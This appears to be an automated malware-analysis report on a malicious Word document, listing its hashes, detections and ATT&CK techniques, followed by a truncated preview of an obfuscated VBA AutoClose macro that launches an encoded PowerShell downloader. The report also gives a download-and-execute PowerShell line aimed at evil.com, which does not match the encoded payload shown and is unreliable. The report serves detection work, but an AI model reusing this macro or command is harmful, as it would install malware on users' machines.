Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c0e1588ca9c94be…

MALICIOUS

Office (OLE)

91.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 568d3f2949bdd09b14c7e4e656a4b3ec SHA-1: 0080e36e7f1d97586a3d8dcfae4c877eb8e42195 SHA-256: 3c0e1588ca9c94be03841bbace42dfc173b5510b9bb7c931502492d8852a23b8
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose function, which is a common technique for executing malicious code when a document is closed. The macro uses the Shell() function to execute a PowerShell command. This command is designed to download and execute a second-stage payload from a hardcoded URL. The obfuscated PowerShell command is reconstructed as: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.exe')".

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10933 bytes
SHA-256: 7cf0ed72c14ef85ba2ee9664aa9b4c44de77941cd35823cfaf2e641ce6b4f2a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const LehoHqijeXUZIZUtElebiCnUaAjAvYjIT = 0
Sub AutoClose()
On Error Resume Next
Dim vOQiMYtOiUVIGIJBEMatAQySUPyZ


Choose 2, "DIhoMdibhui", LTrim("vOQiMYtOiUVIGIJBEMatAQySUPyZ"), "DIhoMdibhuivOQiMYtOiUVIGIJBEMatAQySUPyZ"
IsError CVErr(9846)
Call IsNumeric(9846 - DIhoMdibhui)

If LenB(DIhoMdibhui11) > CInt(Hex(9846)) Then
   StrComp "DIhoMdibhui", "DIhoMdibhui" & vOQiMYtOiUVIGIJBEMatAQySUPyZ
End If
Dim LIHAZUrovajjYHuHPenIJeiYdUZoJUQuVuHivaWe


Choose 3, "QyftaCaaiTIHOXUmoSilY", LTrim("LIHAZUrovajjYHuHPenIJeiYdUZoJUQuVuHivaWe"), "QyftaCaaiTIHOXUmoSilYLIHAZUrovajjYHuHPenIJeiYdUZoJUQuVuHivaWe"
IsError CVErr(5326)
Call IsNumeric(5326 - QyftaCaaiTIHOXUmoSilY)

If LenB(QyftaCaaiTIHOXUmoSilY10) > CInt(Hex(5326)) Then
   StrComp "QyftaCaaiTIHOXUmoSilY", "QyftaCaaiTIHOXUmoSilY" & LIHAZUrovajjYHuHPenIJeiYdUZoJUQuVuHivaWe
End If
eWySYmUFEHaRUbanufemLYGEceTuTimEGA = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim KAdyjcAQuPUtIHysSYcumynagADAxOBaaaHy


Choose 6, "DalFOPiMOR", LTrim("KAdyjcAQuPUtIHysSYcumynagADAxOBaaaHy"), "DalFOPiMORKAdyjcAQuPUtIHysSYcumynagADAxOBaaaHy"
IsError CVErr(2652)
Call IsNumeric(2652 - DalFOPiMOR)

If LenB(DalFOPiMOR11) > CInt(Hex(2652)) Then
   StrComp "DalFOPiMOR", "DalFOPiMOR" & KAdyjcAQuPUtIHysSYcumynagADAxOBaaaHy
End If
Dim rYkYnOTumqUjYwYZYkOUVOjYWIgudEwlIl


Choose 9, "wUtaLeCkeNIkeiAwItiuB", LTrim("rYkYnOTumqUjYwYZYkOUVOjYWIgudEwlIl"), "wUtaLeCkeNIkeiAwItiuBrYkYnOTumqUjYwYZYkOUVOjYWIgudEwlIl"
IsError CVErr(685)
Call IsNumeric(685 - wUtaLeCkeNIkeiAwItiuB)

If LenB(wUtaLeCkeNIkeiAwItiuB11) > CInt(Hex(685)) Then
   StrComp "wUtaLeCkeNIkeiAwItiuB", "wUtaLeCkeNIkeiAwItiuB" & rYkYnOTumqUjYwYZYkOUVOjYWIgudEwlIl
End If

Dim cUgowIDobowmeCYsAqYfYxAtuZOmyhix


Choose 9, "yDiaOrevodeNIvEdoDi", LTrim("cUgowIDobowmeCYsAqYfYxAtuZOmyhix"), "yDiaOrevodeNIvEdoDicUgowIDobowmeCYsAqYfYxAtuZOmyhix"
IsError CVErr(8449)
Call IsNumeric(8449 - yDiaOrevodeNIvEdoDi)

If LenB(yDiaOrevodeNIvEdoDi11) > CInt(Hex(8449)) Then
   StrComp "yDiaOrevodeNIvEdoDi", "yDiaOrevodeNIvEdoDi" & cUgowIDobowmeCYsAqYfYxAtuZOmyhix
End If
Dim tCufidULkGEmanYfUZalUb


Choose 7, "mEfefuioVoD", LTrim("tCufidULkGEmanYfUZalUb"), "mEfefuioVoDtCufidULkGEmanYfUZalUb"
IsError CVErr(5447)
Call IsNumeric(5447 - mEfefuioVoD)

If LenB(mEfefuioVoD13) > CInt(Hex(5447)) Then
   StrComp "mEfefuioVoD", "mEfefuioVoD" & tCufidULkGEmanYfUZalUb
End If
toLYdeFaHaceNAkzOEruxOCyQuFyNA = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A"

Dim vAXnAvojEJyTOTImiPesydIceTedigOgoMEFYToZUgiaEsA


Choose 7, "JuByxolKIi", LTrim("vAXnAvojEJyTOTImiPesydIceTedigOgoMEFYToZUgiaEsA"), "JuByxolKIivAXnAvojEJyTOTImiPesydIceTedigOgoMEFYToZUgiaEsA"
IsError CVErr(9559)
Call IsNumeric(9559 - JuByxolKIi)

If LenB(JuByxolKIi11) > CInt(Hex(9559)) Then
   St
... (truncated)

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